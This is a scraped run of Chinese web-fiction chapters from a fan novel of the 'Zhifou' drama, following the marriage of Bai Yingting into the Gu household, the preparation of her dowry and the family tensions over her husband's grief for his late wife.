慕卿云听完白滢婷的话后,点了点头,白滢婷见状便和一旁的丫鬟去了她的院子,常嬷嬷也跟着白滢婷一同离去了,只留盛瑾和慕卿云在大厅内。 没过多久,白滢婷和常嬷嬷就跟着那个丫鬟来到了那间慕卿云为她布置的院子,一进院子就看见四周种满了一些不是太名贵的花,但是稀奇的是每种花都有好几种不同的颜色,从远处看美极了。 那个丫鬟见白滢婷的眼光看向这些花,随即开口介绍道:“姑娘,国公爷提议在你院子中种些花后,国公夫人便特意为你挑选了些香味不会太浓或是伤人之类的花。” 白滢婷听到那个丫鬟这么说后,将目光收了回来,接着那个丫鬟就引着她们进入闺房,闺房的设计精致风雅,又处处透露出了华贵,一进门就看见那上好的檀木雕刻而成的家具,家具上还雕刻着许多不同的花纹,旁边摆放着闺中女子都有的梳妆台,台上放着精致的珠宝盒子,可以看出里面放的东西价值不菲,一旁的床上挂着浅粉色的帘子,房间里还放着两个双面绣的屏扇。 另一间房是书房,书房上的架子上摆放着各式各样的的珍宝,一旁还有一个由名贵木材制作的书桌,桌子上放着笔墨纸砚,另一边放着一盆名贵的兰花。 等白滢婷和常嬷嬷看完这间院子后十分满意,不仅是白滢婷感受到盛瑾和慕卿云的用心,常嬷嬷也感受到了盛瑾和慕卿云是真心对白滢婷的,这使得她对白滢婷嫁入宁远侯府的担忧少了几分。 转眼间已经过去好几天了,盛瑾在工部的生活轻松到不可思议的地步,本来他以为自己年纪轻轻的就成了从三品工部侍郎,工部中应该有不少官员不服他,结果工部的官员们对他极其友善,这盛瑾十分惊讶,不过他再怎么惊讶,没过多久也回复平静了,在工部该干嘛干嘛。 其实工部是六部中最穷的部门了,能在这里干下去的大多数都是有手艺的人,他们佩服比自己手艺强的人,盛瑾这些年给皇帝的图纸全部都是由他们工部来实验的,所以他们对盛瑾充满了敬佩,再加上工部尚书从皇帝的安排中可以推测出盛瑾是他未来的接班人,所以他也对盛瑾十分友好,工部顶头上司都对盛瑾如此亲近了,下面的官员自然也对盛瑾十分友善了,但这些盛瑾都不知道,不过他在工部倒是过得十分自在。 盛瑾这边十分顺利,慕卿云那边也不差,这些天他们都在明里暗里的打探宁远侯府的情况,她们通过这些天对宁远侯府的打探,也知道了宁远侯府的一些情况。 在盛瑾和慕卿云得到这些情况两天后,顾侯夫人递了拜帖说是今天要上门,慕卿云和盛瑾商量过后,他们回帖给顾府表示同意顾侯夫人的拜访,并且决定了慕卿云接待顾侯夫人那天,盛瑾就去找顾侯爷聊聊,于是今天一大早,顾侯夫人便来到了丰国公府。 顾侯夫人一下马车就看到了出门迎接的慕卿云,心里暗暗惊叹道:“这位慕大娘子生得真是极好啊!比我那已经去世的媳妇秦大娘子还要好看,只不过这身子倒是和她一样弱不禁风啊!” 顾侯夫人一想到秦大娘子,心里对慕卿云的印象便少了几分好感,心里不由自主的想道:“这怕不是和我那个去世的媳妇一样的性格吧,毕竟都嫁给盛国公三年多了,也没个子嗣,而且盛国公身边还没有妾侍,怕不是和我那媳妇秦大娘子一样将自家官人吃的死死的,善妒,不愿意给自家官人纳妾吧。” 无论顾侯夫人心里怎么想,脸上都是带着和善的笑容与慕卿云说着客道话,等顾侯夫人进入府邸,才发觉这慕卿云恐怕和秦大娘子不一样,毕竟秦大娘子没有慕卿云如此会打理府邸下人们。 等顾侯夫人到了大厅坐下和慕卿云闲聊时,她似是无疑的提到了白滢婷,想要借此打探慕卿云和白滢婷的关系。 慕卿云闻言,面上挂着淡淡的忧伤,语气中带着一丝伤感,道:“顾候夫人也瞧见我这不争气的身子了,我嫁于官人已经三年多了,没生下个一儿半女的,心中便觉得愧对官人,先前在青州时有人曾想要送妾给官人,我劝官人收下,从未冲我发脾气的官人,满脸怒气的质问我是不是不在乎他了,又对着上天发毒誓说此生只娶我一人。” 慕卿云这话说的半真半假的,不过盛瑾的确被人塞过妾侍,不过他以自己只爱他娘子为由推拒了。 顾侯夫人就这样莫名其妙的被慕卿云塞了一嘴的狗粮,但是她看着慕卿云忧伤的样子,想要安慰慕卿云又不知从哪开口,只能安静的看着慕卿云,索性没过多久,慕卿云便接着道:“我能得此官人简直是三生有幸啊!官人对我如此好,我自然也要待官人好,官人对妹妹十分疼爱,我也待官人的妹妹如同亲妹妹一般,说句不怕让你笑话的话,我没有子嗣,就将婷儿当做自己的孩子一般疼爱的,说真的,我在青州时便开始给婷儿准备嫁妆了。” 顾侯夫人听到慕卿云这么说,本来是有些不信的,但看到慕卿云提起白滢婷时,眼中带着疼爱的眼神不似作假,她脸上带着些许笑容,夸赞道:“能得盛国公爷和盛国公夫人疼爱的姑娘,想来是个好姑娘。” 慕卿云见状,拉着顾侯夫人的手,语气中带着些许期盼,道:“我和我家官人平日对婷儿多有宠溺,原本想着等我们到汴州城后,便将她接过来住些时日,顺便在汴州城寻些好人家,给婷儿找个人口简单、婆母和善的人家,我们只求婷儿婚后能过的顺心,没成想,婷儿居然能被你们顾家这样高门显贵的人家看中,这真是上天给婷儿的好姻缘啊!” 顾侯夫人听着慕卿云所说的话,只觉得这心里一阵舒心,毕竟谁不喜欢别人夸自己家啊!尤其是被比自己高一等爵位的大娘子夸奖,她脸上的笑容真实了几分,道:“盛国公夫人秒赞了啊!我们顾家哪有你说的那么好啊!” 慕卿云看着顾侯夫人脸上的表情真挚无比,道:“顾侯夫人谦虚了,满汴州城谁不知道顾侯夫人是个好婆婆啊!”毕竟大秦氏在汴州城有着忤逆婆母、善妒的名声,有大秦氏这样的媳妇作为衬托,顾侯夫人可不就是好婆婆的形象嘛。 顾侯夫人听着慕卿云这么说,心里觉得慕卿云和白滢婷之间的感情应该不错,毕竟能让国公夫人放下自己身份来夸奖她一个侯爵夫人实属不易啊!于是顾候夫人顺势提出要见一下白滢婷,慕卿云自然是答应的。 等白滢婷出来后,顾侯夫人打量了一眼白滢婷,心里默默想道:“身段苗条,容貌上乘,出来时的礼数也不错。”尤其当顾侯夫人看到白滢婷和慕卿云的交流时那种亲近感,她觉得这位白家姑娘在国公夫妇心中的份量应该不轻,随即将自己随身佩戴的一个镯子给了白滢婷,算是表达她对白滢婷的喜爱之情吧。 等顾侯夫人回到宁远侯府时,顾侯爷也回来了,他们二人在书房中聊起了今天去丰国公府的事情。 等顾侯夫人说完后,顾侯爷才缓缓开口道:“我今天遇见盛国公了,看那样子是故意等我的,盛国公拉着我到樊楼喝了好一会儿的茶,话里话外都是关于白家姑娘的婚事,言外之意是希望我们善待白家姑娘。” 顾侯夫人眼神 17. 第 17 章 《知否盛老太太的双生子》全本免费阅读 自从顾侯夫人来过丰国公府后,丰国公府犹如被启动的机器一般开始忙碌起来,慕卿云这些天派丰国公府的下人们去各个店铺中采买婚礼用品,因此这些天丰国公府的下人们都十分忙碌。 汴州城内有不少人家在盛瑾一行人来到汴州城时就开始观察着丰国公府的情况,因为盛瑾和慕卿云在汴州城没有什么亲戚关系,所以她们没有借口上门拜访。 等顾侯夫人上门拜访了慕卿云后,他们本打算登宁远侯府的大门打探打探这位盛国公夫人的事情,结果他们怎么也没想到这位顾侯夫人上门没多久,顾家就开始采买装饰府中婚宴用品,最让他们百思不得其解的是丰国公府也开始在汴州城中大肆采买东西,只不过丰国公府除了采买装饰府中婚宴用品外,还在珠翠楼采买了大量珠宝首饰以及在绣岳坊订购了大批锦缎布匹。 汴州城中有些人家怀疑宁远侯府和丰国公府要结亲,但是丰国公府又没有什么姑娘,怎么和宁远侯府结亲呢?再说了,丰国公府就算有姑娘也不会许给宁远侯府当继室,毕竟人家盛国公就是从三品文官员,没道理将自家姑娘嫁给武将当续弦啊! 慕卿云这些天一直在给白滢婷准备嫁妆和筹备婚宴,盛瑾和她商量后,决定从盛瑾的私人库房中取东西给白滢婷添妆,虽然这些东西名义上是从盛瑾私库中出的,但实际上是盛瑾提前将空间里的东西都塞到他私人库房里,慕卿云在带人去取,这里就不得不说盛瑾比较谨慎了,盛瑾的私人库房从不让国公府的下人去碰,这个私人库房名义上是由盛瑾的大管家盛昀在管,而守在私人库房中的下人都是机器人变成的,当初慕卿云带着下人们重修国公府时除了派人假装从汴州城的大宅子中取出盛瑾的东西外,还让人乘船从别的地方运盛瑾的东西过来,所以满汴州城的人只知道那些日子里不断有东西搬进丰国公府,而丰国公府的下人们只知道东西都搬进了盛瑾的私人库房,其他的他们一概不知。 慕卿云等盛瑾放好东西后,带着下人们到库房中搬出了两箱云绫锦、三箱浮光锦、七匹缂丝、一箱玉器、一箱上好的瓷器、两幅双面绣屏风、一箱药材,然后又带着下人们去她的私人库房抬出了一个用整根檀木制成的大箱子和一个装着五十颗直径为十五毫米珍珠的盒子,无论是箱子还是盒子上面都雕刻着栩栩如生的花纹,当然,最让人吃惊的还是那个大箱子,从箱子一侧取出一块木板就能看出这是一个大首饰箱子,瞧着里面应该放着不下百个珍贵的珠宝首饰。 等慕卿云将这个箱子和盒子以及这些东西交给白滢婷时,这个大箱子愣是让她看呆了,外面的箱子都如此不凡了,里面的珠宝首饰能差到哪去。 白滢婷看着这些东西急忙摆手拒绝,道:“这是嫂嫂的陪嫁,我哪里能拿得了啊!这东西应该留给嫂嫂的媳妇女儿才是。” 慕卿云看着白滢婷眼中闪过一丝笑意,道:“你也是嫂嫂的女儿啊!你忘了有句话叫做长嫂如母嘛,再者,这样的首饰箱子我还有几十个呢,给你一个也不算过多。” 白滢婷听到慕卿云这么说,眼眶有些湿润,躺进慕卿云怀中,双手抱着慕卿云,似是开玩笑道:“嫂嫂对我真好,不过,嫂嫂将这么多好东西都给了我,我怕未来外甥的娘子和外甥女会怪我。” 慕卿云听着白滢婷的玩笑话,摸了摸她的头发丝,柔声细语道:“这才哪到哪啊!嫂嫂我的嫁妆远比你想象的要多得多,你是我和官人唯一的妹妹,原本我们就想着在你出嫁时为你多多添妆,现下这些东西在我们眼中还算少的。” 白滢婷躺着慕卿云的怀中,用着开玩笑的语气,嘟喃道:“这还少啊!我原本想着嫂嫂你能拦着点哥哥,别让他给我那么多东西,结果你非但没有阻拦他,还和他一起给我这么多东西,嫂嫂你和哥哥真是一样的性格啊!你将这些个贵重东西都给了我,我看你以后还有没有聘礼给我未来的外甥娶娘子。” 慕卿云听着白滢婷的玩笑话,没有说话,而是摸了摸白滢婷的头发,过了一会儿,才开口道:“婷儿你这辈子都不用操心什么银子的事情,无论是我,还是你哥哥,乃至你爹爹都能让你富足的过一辈子,我和官人的想法与你爹爹不同,我们只想将你嫁入一个比丰国公府门户低、家中人口简单、婆母和善的人家,当然夫婿人品也要贵重,能力出不出众无所谓,只要他真心待你就好,若是他是个花心的,有你哥哥压着,他也不敢对你怎么样。” 白滢婷躺在慕卿云怀中,眼泪止不住的往下流,慕卿云似是没有感觉到白滢婷的哭泣,过了一会儿,接着道:“我们知道义父给你选择顾家一定有他的原因,所以我们对于你的亲事没有彻底的反对,也许别人都觉得你是高攀了顾家嫡长子,但在我和你哥哥这里没有高不高攀这一说,我们只关心婷儿你嫁给顾家嫡长子当续弦是否会受委屈了,若是真在顾家受了什么委屈就回来和嫂嫂哥哥说,实在在顾家过不下去了,就回丰国公府,我和你哥哥只要还在就养你一辈子。” 白滢婷紧紧抱着慕卿云,她没有说什么,她知道慕卿云的话是在给自己底气,未来在顾家生活下去的底气。 慕卿云之所以会和白滢婷聊这么多,也是因为盛瑾吩咐的,再者她如今已经进入了盛瑾娘子这个身份中了。 等白滢婷平静下来后,慕卿云将她从怀中拉出来,给她擦拭眼角的泪水,开始跟她细细交代,道:“除了你眼前的这些东西外,还有这些日子我在汴州城采买的珠宝首饰、锦缎布匹,在汴州城内采买的这些个东西,普通的你平日里就用来打赏一些得力的女使,好的就留着自己用或是送人都行,因为你婚期比较近,所以有些东西可能准备的不全,不过,我和你哥哥商量过了,这些个缺的东西都不要紧,我们想着与其给你买很多东西到时候过时了,还不如给你银钱和田产铺子来的实惠些,这样你也能买时兴的东西,所以我和你哥哥打算将汴州城内两间地段上好和五间地段中等的铺子和位于汴州城附近的一千三百亩水田以及一个庄子给你,铺子庄子加上水田每年能给你带来九千二百两的收入,还有一间位于汴州城的三进五开的大宅子,此外,明面上我和你哥哥会给你五万两嫁妆银子,实则我们会另外给你三十万两,这三十万两银子除了我们自家人和信任的人以外谁都不能说。” 白滢婷有些疑惑的看着慕卿云,随即想要向慕卿云询问些什么时,慕卿云抓着她的手,道:“算是哥哥嫂嫂多心吧,想着让你防顾家人一手,也让哥哥嫂嫂安心些,你爹爹给你准备的嫁妆银子,大半是要给顾家人的,所以你手上的银钱到时候是剩不了多少的,这笔银钱也能帮你在顾家快速站稳。”她也算是隐晦的告诉白滢婷,顾家人是为了银钱娶的她。 白滢婷听完慕卿云的话,没有任何反驳,只是道:“哥哥嫂嫂给我准备了这么多东西,这些田产铺子就不用给我了,银钱也不要给我那么多,爹爹那里还给我准备了嫁妆。” 慕卿云见状,面上带着一丝笑意,摸了摸白滢婷的小脸蛋,语气中带着一丝玩笑意味,道:“这哪多了,你却放宽心吧,我和你哥哥的家底富足着呢,尤其是你哥哥,别看给你这么多田产铺子,实则他在汴州城还有不少田产铺子,若是算上其他州那就更多了,再者,我这身子能不能活到有子嗣还不一定呢,若是我能有幸和你哥哥拥有子嗣,八成也就是丰国公府独子或独女了,到时候我们全部身家都是这个孩子的,相比之下给你的添妆便不算什么了。” 白滢婷听完慕卿云的话,脸色一下子白了,语气有些焦虑道:“嫂嫂莫要说这种话,像嫂嫂这么好的人一定能和哥哥白头偕老的,子嗣也会有的。” 慕卿云看着白滢婷有些发白的脸蛋,脸上带着淡淡的笑意,安抚道:“瞧你这般样子,我只是在说笑罢了。” 白滢婷抱着慕卿云,语气中带着一丝撒娇,道:“我不管,嫂嫂就是不能说这样的话,我会被嫂嫂吓到的。” 慕卿云看着怀中的白滢婷,面带微笑,道:“好好好,嫂嫂不说了,以后再也不说这样的话了,不过我们还是接着聊一下顾家情况吧。”于是屋内只听见慕卿云柔声介绍着顾家的人口信息。 此时的宁远侯府,嫁到杨家的顾家姑娘正在和顾侯夫人说着有关白滢婷的亲事呢,只见顾家姑娘直接开口道:“母亲,你们不是要回老家举办婚宴,娶那个白家姑娘进门嘛,怎么改在汴州城举行婚姻了吗?” 顾侯夫人看着顾家姑娘有些憔悴的脸蛋,语气中带着心疼,道:“你们婆家妯娌又联合起来嘲笑你了吗?” 顾家姑娘听出了顾侯夫人对他的心疼,扯了个笑脸装成没事的样子,道:“没什么关系,她们左右不过说几句嘴罢了。” 顾侯夫人抓着顾家姑娘的手,眼神中闪过一丝懊悔,道:“当初我怎么就瞎了眼了,给你选了杨家这样势利眼的门户呢,我们顾家好好的时候还没看出什么来,等我们顾家落难了就开始磋磨起我的女儿了啊!这群混账羔子等着吧,到时候看你们怎么看我们顾家的笑话。” 顾侯夫人看着顾家姑娘脸上带着些许疑惑的表情,便开口解释道:“你可知道那位白家姑娘不仅仅是盐商之女出身,她还是盛国公的义妹,而且盛国公夫妇对她十分疼爱,这次改成亲地点的事情估计就是盛国公开口的,到时候这位白家姑娘要从丰国公府嫁到宁远侯府,我就不信了这汴州城内谁敢一下子看国公府和侯府的笑话。” 顾家姑娘双目睁大,满脸不可置信,道:“我的天呀!母亲你这么都不告诉我一声,我还以为这白家姑娘只是个盐商之女呢?怪不得,怪不得丰国公府最近在珠翠楼和绣岳坊大肆采买珠宝首饰布匹,还到各个铺子买婚宴用品。” 顾侯夫人看着顾家姑娘的眼神中流露出笑意,道:“我当时也不知道这白家姑娘是盛国公的义妹,要是知道的话,我还能跟你说回老家举办婚宴嘛。” 顾家姑娘没有怀疑顾侯夫人的话,脸上挂满了笑容,道:“真是真人保佑我们顾家啊!对了,母亲,白家姑娘的身份你有没有和大哥哥说啊!” 顾侯夫人一听到顾家姑娘提起顾偃开,满脸的笑容就转为了愁色,道:“你那大哥哥还是那个样子,天天跪在祠堂看秦大娘子的牌位,那样子恨不得给秦大娘子披麻戴孝一辈子,我哪敢和他开口啊!” 顾家姑娘听到这里,皱着眉头,道:“大哥哥怎么这么犟啊!当初也是这样,一定要娶秦大娘子,我这三个哥哥中偏出了大哥哥这么一个情种,母亲,还是提醒一下大哥哥和家里其他人吧,他们要是不知道白家姑娘的身份,我怕婚姻当天闹出什么笑话。” 顾侯夫人内心十分赞同她女儿说的,她生了三个儿子,两个不成器的,一个整日寻花问柳,一个虽自诩风雅之人,但身边也是有妾侍的,偏偏这个成器的是个犟种、情种,她想到这里,脸上的表情变得严肃起来,道:“是,你说的对,我这就让人去将你四嫂嫂和五嫂嫂叫过来交代一下,至于你大哥哥那,我晚上再去。” 顾侯夫人这些天忙着准备婚姻的事情,一时间忘了将白滢婷是盛瑾义妹的事情告知顾家其他人了,顾家姑娘这么一提醒,她觉得有必要和顾家其他人说一声,当即叫了自己的贴身丫鬟去将四房太太和五房太太叫来。(这里的四房太太、五房太太指的是顾偃开两个弟弟的妻子) 等四房太太和五房太太都到后,顾侯夫人跟她们说完这事时,她们也是满脸惊愕的表情,最后顾侯夫人还补充道:“你们回去管好自己的女使小厮,不要仗着人家姑娘刚嫁进来什么都不知道就欺负她,再怎么也是我们侯府的大娘子,还轮不到下人来欺负,另外你们再派人和其他几房(顾家庶子)说一下,管好他们的人。” 顾侯夫人刚说完,四房太太和五房太太还处于震惊中,但是她们还是齐声对着顾侯夫人恭谨道:“是,母亲。”顾侯夫人见自己这两个媳妇都这么说了,也就没说什么了,转头聊起了其他话题。 顾府当天晚上,上到主子下到丫鬟小厮都知道了他们顾家娶得是盛国公的义妹,他们在白滢婷嫁进顾府前消化消息,改变对白滢婷的态度,而顾偃开在顾侯夫人告诉他时什么感觉也没有,好似他本人的魂已经跟着秦大娘子走了,顾侯夫人看着他这个大儿子也无可奈何,只求他不要在白滢婷嫁过来后给人难看就行了。< 18. 第 18 章 《知否盛老太太的双生子》全本免费阅读 宁远侯府,清晨,白滢婷一大早就起来和顾偃开前往大厅,今天是白滢婷嫁入顾府第一天,按照习俗是要去拜见公婆和亲戚妯娌的。 顾侯爷和顾侯夫人以及一众顾家人都在大厅等候着,等白滢婷和顾偃开来到大厅后,先完成与顾侯夫妇行礼问好等一系列流程,接着白滢婷将自己准备好的礼物依次分发给顾家其余人。 顾侯夫人很细心的发现了白滢婷脸上那一圈用粉底遮住的黑眼圈,她又看了一眼顾偃开和白滢婷之间的相处模式,那一看就不像是经历过洞房花烛夜的样子。 顾侯夫人想到这里,便不自主的观察起来顾偃开和白滢婷,过了一会儿,她心里不由得生出一个念头道:“他们不会没有洞房吧。”毕竟顾侯夫人自己也成过亲的,又看着不少新婚夫妇的场景,哪里能看不出顾偃开和白滢婷相处状态有问题啊! 顾侯夫人等白滢婷和顾家其他人见过后,她满脸和善与白滢婷闲聊了几句,接着便开口让白滢婷回去休息。 等白滢婷离开后,顾侯夫人便让除了顾偃开以外的顾家其他人都离开,一旁的顾侯爷对此充满了疑惑,但是没有对顾侯夫人说什么。 等在场只剩下顾侯夫妇和顾偃开三人后,顾侯夫人脸上的表情瞬间变得严肃起来,道:“你告诉我,你是不是没有碰她。” 过了一会儿,顾偃开在顾侯爷满脸错愕中点了点头,语气中没有一丝波澜,宛如在复述顾侯夫人的话,道:“儿子没有碰她。” 顾侯夫人被顾偃开这一番话,气得浑身发抖,手抚胸口,压着声音道:“你是不是想要气死我给你前头那个秦大娘子陪葬才高兴啊!你之前是怎么答应我的,要不是我自个察觉出你们夫妇间的不对劲,你是不是打算就这样下去了。” 顾侯爷回过神来,看向顾偃开的目光好似在询问你是不是疯了吗?但顾偃开就这样顶着顾侯夫妇的目光,低头看着地面,好似这里只有他一个人般。 顾侯爷看着顾偃开这个样子,也是气不打一处来,道:“我还真没想到你能干出这种事啊!你当你是谁啊!是我们以前太过顺从你了,你才会这般狂妄自大啊!要知道你如今会为了那个秦大娘子变成这样,想当初我们就不应该答应你娶她。” 顾偃开听到顾侯爷提起大秦氏,抬起头看向顾侯夫妇,脸上的表情十分低沉,语气中有些许哀求,道:“父亲,母亲,我已经依着你们的意思将人娶进门了,你们能不能别再提这些了啊!我续弦娶妻已然对她有愧了。” 顾侯爷脸上的表情犹如听到一个天大般笑话似的,嘲讽道:“你是愧对她了,为了维护她多次忤逆父母,为了她,不顾自己嫡长子的身份,抛下侯府一切事情,带着她搬离侯府去往边关上任,为了她,你这些年来房中无一个妾侍,最后还只得了一个体弱多病的嫡长子,你就只想着她了,怎么不想想我和你母亲呢,啊!你愧对她,你怎么不想想你愧不愧对我们呢,啊!”他说最后几句话时几乎是咆哮了,可见他被顾偃开气的不轻啊! 顾侯夫人眼眶发红的看着顾偃开,语气中充满了悲伤,道:“你爹爹说得对啊!自从你见过这个秦大娘子后就像是被灌了迷魂汤一般,眼里除了她就谁也看不到了,这些年我因着你和她被汴州城那些个人家私底下笑话了多久,一个婆婆还是侯府当家大娘子,连媳妇都镇不住。” 顾侯夫人说到这里时,眼泪也留下来了,她用衣袖擦拭了一下眼泪,哽咽道:“这些我都忍下来了,就因为我儿子你喜欢他,我这个做母亲的不忍儿子难受,现下秦大娘子已经去世了,难不成你还想要为她守一辈子嘛,你若是要给她守一辈子,那白大娘子怎么办,你难不成想让她守活寡嘛,那白大娘子说是盛国公夫妇的掌上明珠也不为过啊!给她准备怎么多嫁妆也只不过是为了你能好好待她,如今你大婚之夜,不与她同房,这不是明摆着给她和盛国公夫妇难看嘛,你若真让她守活寡,那顾盛两家就不是结亲而是结仇了啊!” 顾侯爷满脸恨铁不成钢的看向顾偃开,咬牙切齿道:“瞧瞧你这副样子,哪里还有宁远侯府嫡长子的样子,你当盛国公会和白老爷那般顾忌我们顾家嘛,他早在你成亲前找过我,话里话外就一个意思,那就是希望我们顾家善待白大娘子,若是让他知道你就是这么善待他妹妹的,我们顾家就有热闹看了。” 顾偃开眼神中透露着一丝挣扎,道:“我会给她候府大娘子应有的尊重和体面,但是我不想碰她,只要碰了她,我就感觉对不起娘子(大秦氏)。” 顾侯夫人自然是听出了顾偃开意思,当即上前抓着顾偃开,哽咽道:“你有什么好对不起她的,你屋里那个邱小娘,是她临死前逼你纳的妾,也逼你与邱小娘同房了,为什么到了白大娘子这里你就不可以了啊!” 顾侯夫人看着顾偃开一言不发的样子,眼中的泪水又不由自主的流了下来,抽泣道:“儿啊!你不可能一辈子都不与白大娘子同房的,这要是被盛国公夫妇发现了,那可不是我们顾家一两句话就可以打消他们怒火的,若是他们执意闹得汴州城家喻户晓,那到时候我们顾家可是整个汴州城的笑话了,汴州城的人会怎么看待我们顾家人,我们顾家哥儿姑娘的名声又会变成什么样子,还会有什么样的好人家会娶或是嫁给我们顾家姑娘哥儿。” 顾侯夫人说着说着,好似已经看到了盛瑾和慕卿云暴怒的场面了,她顿时泪流满面,泣不成声,道:“儿啊!过几日就是你和白大娘子回门的日子了,若是让盛国公夫人私下问出来,我们顾家和盛国公怎么交代啊!你新婚之夜不和白大娘子同房还能说你是醉的不省人事了,回门前,你还不碰白大娘子,明眼人都能看出你对白大娘子的态度有问题。” 顾侯爷见顾侯夫人都这般劝说了,顾偃开还是没说什么,他看向顾偃开的目光中透露出失望与难受,过了一会儿,他开口威胁道:“你若是执意要个秦大娘子守着,那好,反正盛国公早晚会找我们顾家算账,你是我儿子,我舍不得伤你,但秦大娘子留下来的那些个女使和照顾煜哥儿的人,我是一个都不会让他们留在顾家的,还有东昌伯爵府的秦家人以后也不用上我们宁远侯府顾家的门了,我也不会让你去接济秦家的。” 顾偃开闻言,猛地抬起头看向顾侯爷,他的眼神中充满了不可置信,过了一会儿,他才确定顾侯爷真的会这么做,他看了眼态度坚定的顾侯爷,又看了眼抱着他泪流满面的顾侯夫人,过了许久,他满心悲凉道:“好,我会在回门前和她同房的。” 顾侯夫妇听到顾偃开这么说,看了他一会儿,确定了他说会碰白滢婷这话的真实性,随即没有在和他开口说什么了,等白滢婷和顾偃开回门的前一天,顾偃开也如他所言和白滢婷同房了,顾侯夫妇也彻底放下心来了。 白滢婷回门的日子到了,这天,顾偃开和白滢婷坐着马车来到了丰国公府门前,顾偃开先下了马车,然后将白滢婷扶下了马车,二人一下了马车就看到了白老爷和盛瑾、慕卿云三人,他们一大早就来门口等着了。 白滢婷一下马车,慕卿云就上来左右打量着她,而慕卿云身旁的盛瑾和白老爷也用目光打量着她,一旁的顾偃开见状,心里不由得想起顾侯夫人之前说盛瑾和慕卿云极为在乎白滢婷的话,原本他还对顾侯夫人这话抱有侥幸心理,现在看到慕卿云和盛瑾对白滢婷的态度,他才觉得顾侯夫人一句都没有掺假,等他们打量完白滢婷后,才将白滢婷和顾偃开请进丰国公府。 顾偃开一进府邸,就察觉出这府邸布置极好,又看着路过的丫鬟小厮,无论是礼数还是给人的感觉都是极好的,联想到之前有人曾说盛国公府的下人们与寻常百姓相处十分平和、亲近,从未有过高高在上瞧不起人的态度。 顾偃开想到这里看了眼白滢婷身旁的慕卿云,瞧着慕卿云柔弱的身子,心里不由的想起了大秦氏,暗道:“没想到如她一般柔弱的盛国公夫人居然能将丰国公府打理的这般好。” 等盛瑾一行人到了大厅后,慕卿云满脸笑容,语气柔和,道:“官人,义父,你们招待妹夫,我带妹妹去院子里说说话。” 盛瑾看了眼白老爷,见他点了点头,目光柔和的看向慕卿云,道:“你和妹妹去吧,我和义父、妹夫在大厅聊着。” 慕卿云闻言,拉着白滢婷向盛瑾三人行礼后,便带着白滢婷去往自己的院中,独留盛瑾三人在大厅中。 等慕卿云和白滢婷来到她院中后,慕卿云拉着白滢婷细细询问,道:“妹妹这几日在顾家,妹夫待你怎么样,顾家其他人如何呢?” 白滢婷听着慕卿云这么说,脸上微红,道:“很好,公公婆婆带我极好,妯娌们也没对我怎么样,官人也极好。” 白滢婷不想告诉慕卿云有关她和顾偃开大婚之日没有同房的事情,毕竟慕卿云和盛瑾本来就对这门亲事不满意,若是让慕卿云和盛瑾知道这件事,他们会觉得顾偃开欺负她,到时候闹起来顾盛两家都会很难看,索性顾偃开在她回门前同房了,白滢婷天真为顾偃开的行为找借口来安慰自己。 慕卿云看向白滢婷的目光十分温柔,突然想起常嬷嬷不在白滢婷身边,随即询问道:“常嬷嬷怎么不在你身边呢?还有你身边的那个女使有些眼生,不像是义父给你的挑选的女使。”其实当时白滢婷的陪嫁人选中除了常嬷嬷是随着白滢婷长大的,另外两个陪嫁丫鬟都是白老爷挑选的,白老爷是个男子,挑选陪嫁丫鬟的唯一标准就是长相一般、性子老实即可。 慕卿云还看了一眼,记下了这两个陪嫁丫鬟的样貌,她瞧着今天跟来的那个丫鬟长的算得上漂亮,不是白滢婷的陪嫁丫鬟。 白滢婷闻言,也知道慕卿云是在关心她,随即便解答道:“嫂嫂,这是我婆婆给我的,她觉得我院内人手少,便给我派了人手,她好像叫莲儿,是顾府一等女使,瞧着好像是个能干的,常嬷嬷她在顾府有些事情要办。” 慕卿云摸了摸白滢婷的额头,眼中闪过一丝笑意道:“你啊!你,还真是放心用别人的女使啊!” 白滢婷看着慕卿云,语气中带着一丝撒娇,道:“我又不能拒绝婆婆的好意,只能收下这个女使了,而这个女使瞧着也没什么过界的地方。” 慕卿云见白滢婷这么说,也没说什么,只是走到梳妆台前,拿了个小盒子回来,递到白滢婷面前,道:“这是我和你哥哥给你那继子准备的一个玉锁,是一块上好的暖玉雕刻而成的,既然他成了你的继子,我们对他该有的态度还是要有的。” 白滢婷看着慕卿云的眼神中充满了感激,抱着慕卿云撒娇道:“我就知道嫂嫂和哥哥对我极好了,我会好好的。” 慕卿云见白滢婷这样,也没有在继续顾家这个话题了,而是和白滢婷聊起了其他话题,一直到了用膳后,才和顾偃开一同离去的。 一会到宁远侯府,顾偃开就去找顾侯爷了,因为盛瑾让他传话给顾侯爷明日见面,顾偃开不知道什么事情,但顾侯爷一听就知道是顾廷煊读书的事情,他没有和顾偃开多说什么,只是让他好生待白滢婷。 另一边白滢婷一回来到院子中,常嬷嬷便上前迎接白滢婷,等她们回到房间时,聊起了今天回丰国公府的事情。 其实今天常嬷嬷是特意安排莲儿跟着白滢婷回丰国公府的,毕竟顾侯夫人大婚后第一天下午就送来个丫鬟给白滢婷,明眼人一看就知道顾侯夫人已经知道大婚之夜的事情了,派人来给白滢婷撑腰,等回门前天,顾偃开就和白滢婷同房了,想来是顾侯夫人出了力气。 常嬷嬷自认为自己还是了解白滢婷的,她不会将这件事情告诉盛国公夫妇,所以她就借此卖顾侯夫人一个好,让莲儿跟 19. 第 19 章 《知否盛老太太的双生子》全本免费阅读 时间转瞬即逝,一眨眼白滢婷已经生下顾偃开的嫡次子顾廷烨七天了,顾侯夫妇这几天几乎是天天都来白滢婷的院子看着顾廷烨,毕竟他们瞧着身体健康的顾廷烨那是稀罕的不得了。 白滢婷看着顾侯夫妇这般待顾廷烨,心里好受了些,毕竟顾偃开也就是在顾廷烨出生后看了几眼便不常来了,这让白滢婷心里一阵难受。 等顾侯夫妇看够了顾廷烨后,叮嘱了白滢婷几句好好休息和照顾好顾廷烨后,便回自己院子去了。 一旁的常嬷嬷瞧出白滢婷在想顾偃开这些日子对顾廷烨的态度问题,安抚道:“姑娘放宽心,顾侯夫妇还是关心姑娘你的,大公子(顾偃开)许是武将出身才不在意这些事情的,姑娘你看邱小娘怀孕七个月了,大公子都没过去看看她,可见大公子是真的不在意这些的。” 白滢婷脸上的表情有些低沉,但她还是将常嬷嬷的话听进去了,过了一会儿,才缓缓开口道:“奶娘,平日里注意一下煜哥儿的院子,吃穿用度都看着点,我如今生了烨哥儿,难保有些府中下人会怠慢了他,煜哥儿身子骨弱又聪慧,我怕他多想伤了身子,麻烦奶娘看着点煜哥儿了,若是需要什么尽管来找我拿银钱。” 常嬷嬷见白滢婷这么为顾廷煜着想,语气柔和,夸赞道:“当继母做到姑娘这个份上,已经是极好了,煜哥儿以后会感激姑娘你的。” 